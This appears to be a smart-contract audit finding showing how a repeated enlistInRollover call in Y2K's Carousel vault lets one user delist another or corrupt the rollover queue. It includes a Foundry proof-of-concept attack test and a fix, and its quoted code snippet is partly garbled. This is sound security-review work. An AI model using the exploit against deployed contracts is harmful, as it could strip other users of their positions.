ne0n

high

# A malicious User can delist another User from the `rolloverQueue`. User can also pollute the `rolloverQueue`

## Summary
A user enlisted before can call the `enlistInRollover` again, causing its index to point to the end of the queue and thus to the wrong entry in the `rolloverQueue`. When delisting this index is read and thus it is removed from the `rolloverQueue`.

**Note:**  *A malicious actor can also change the `assets` and `epochId` of a user(at the end of the current state of the
queue) instead of delisting them. This can pollute the whole queue*. 

## Vulnerability Detail
This happens because when enlisting again the `enlistInRollover` assigns the index of the `_receiver` to the end of the `rolloverQueue` even though it is already present in the `rolloverQueue` somewhere else. Thus the wrong `_reciever` is matched to the wrong index. This index is then read `delistInRollover` and thus an entry can be deleted from the list belonging to the wrong receiver.

Scenario:
1. Bob enlists in the rollover
2. Alice enlists in the rollover
3. Bob updates its entry to reflects say some other value. (This call will point the index of Bob to that of Alice)
4. Bob delists from the rollover causing Alice's entry to be deleted from the queue. 

**Note:** *Bob's entry from `ownerToRollOverindex` is gone, but it is still present in the queue. He can still reap the benefits of rollover*.  

**Note:**  *Bob can attach to Alice once and then further down the line delist Alice even though there are entries present after Alice in `rolloverQueue`*. 

## Impact
A malicious user can delist a user present at the end of the `rolloverQueue`  by enlisting again.

## Code Snippet
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L268

```solidity
    function enlistInRollover(
        uint256 _epochId,
        uint256 _assets,
        address _receiver
    ) public epochIdExists(_epochId) minRequiredDeposit(_assets) {
        // check if sender is approved by owner

        // check if user has already queued up a rollover
        if (ownerToRollOverQueueIndex[_receiver] != 0) {
            // if so, update the queue
            
        } else {
            // if not, add to queue
            rolloverQueue.push()
            );
        }
        // @audit - Overwriting exisiting reciever with the end of the queue
        ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;

    }
```

## Tool used
Foundry

Manual Review

## POC
Adding  view function to get receiver of queue for testing(Carousel.sol)
```gitdiff
diff --git a/Earthquake/src/v2/Carousel/Carousel.sol b/Earthquake/src/v2/Carousel/Carousel.sol
index ed460af..52662dc 100644
--- a/Earthquake/src/v2/Carousel/Carousel.sol
+++ b/Earthquake/src/v2/Carousel/Carousel.sol
@@ -649,6 +650,10 @@ contract Carousel is VaultV2 {
         return rolloverQueue.length;
     }
 
+    function getRolloverQueueReceiver(uint256 idx) public view returns (address) {
+        return rolloverQueue[idx].receiver;
+    }
+
```
CarouselTest.t.sol
```solidity
   function testDelistInRollOverAttack() public {
        // create two epochs
        uint40 _epochBegin = uint40(block.timestamp + 1 days);
        uint40 _epochEnd = uint40(block.timestamp + 2 days);
        uint256 _epochId = 2;
        uint256 _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        helperDepositInEpochs(_epochId,USER, false);
        helperDepositInEpochs(_epochId,USER2, false);
        vm.warp(_epochBegin - 10 minutes);

        helperDepositInEpochs(_epochId,USER, false);
        helperDepositInEpochs(_epochId,USER2, false);

        // enlist in rollover for next epoch
        vm.startPrank(USER);
        //_epochId == epoch user is depositing in / amount of shares he wants to rollover
        vault.enlistInRollover(_epochId, 8 ether, USER);
        vm.stopPrank();
        assertEq(vault.ownerToRollOverQueueIndex(USER), 1);

        vm.startPrank(USER2);
        vault.enlistInRollover(_epochId, 8 ether, USER2);
        vm.stopPrank();

        // Enlist again. This call will just update the parameters. But it will also make the `ownerToRolloverIndex` point to the end of the queue.
        vm.startPrank(USER);
        vault.enlistInRollover(_epochId, 7 ether, USER);
        vm.stopPrank();

        assertEq(vault.ownerToRollOverQueueIndex(USER), 2);

        // USER2 is at the end of the `rolloverQueue`
        assertEq(vault.getRolloverQueueReceiver(vault.getRolloverQueueLenght()-1), USER2);
        // USER is also pointing to end 
        assertEq(vault.ownerToRollOverQueueIndex(USER), vault.getRolloverQueueLenght());


        vm.startPrank(USER);
        vault.delistInRollover(USER);
        vm.stopPrank();

        // USER2 index now points beyond the boundry of the queue.
        assertEq(vault.ownerToRollOverQueueIndex(USER2), vault.getRolloverQueueLenght()+1);
        assertTrue(vault.ownerToRollOverQueueIndex(USER2) > vault.getRolloverQueueLenght());

        // `rolloverQueue` does not contain an entry for USER2 at all.
        for(uint i=0; i<vault.getRolloverQueueLenght(); i++) {
           // USER2 has been removed from the queue
            assertFalse(vault.getRolloverQueueReceiver(i) == USER2);
        }

    }
```

## Recommendation
Update the index only if `enlistInRollover` called for the first time.

```gitdiff
diff --git a/Earthquake/src/v2/Carousel/Carousel.sol b/Earthquake/src/v2/Carousel/Carousel.sol
index ed460af..e623e3c 100644
--- a/Earthquake/src/v2/Carousel/Carousel.sol
+++ b/Earthquake/src/v2/Carousel/Carousel.sol
@@ -264,8 +264,10 @@ contract Carousel is VaultV2 {
                     epochId: _epochId
                 })
             );
+            ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
         }
-        ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;

```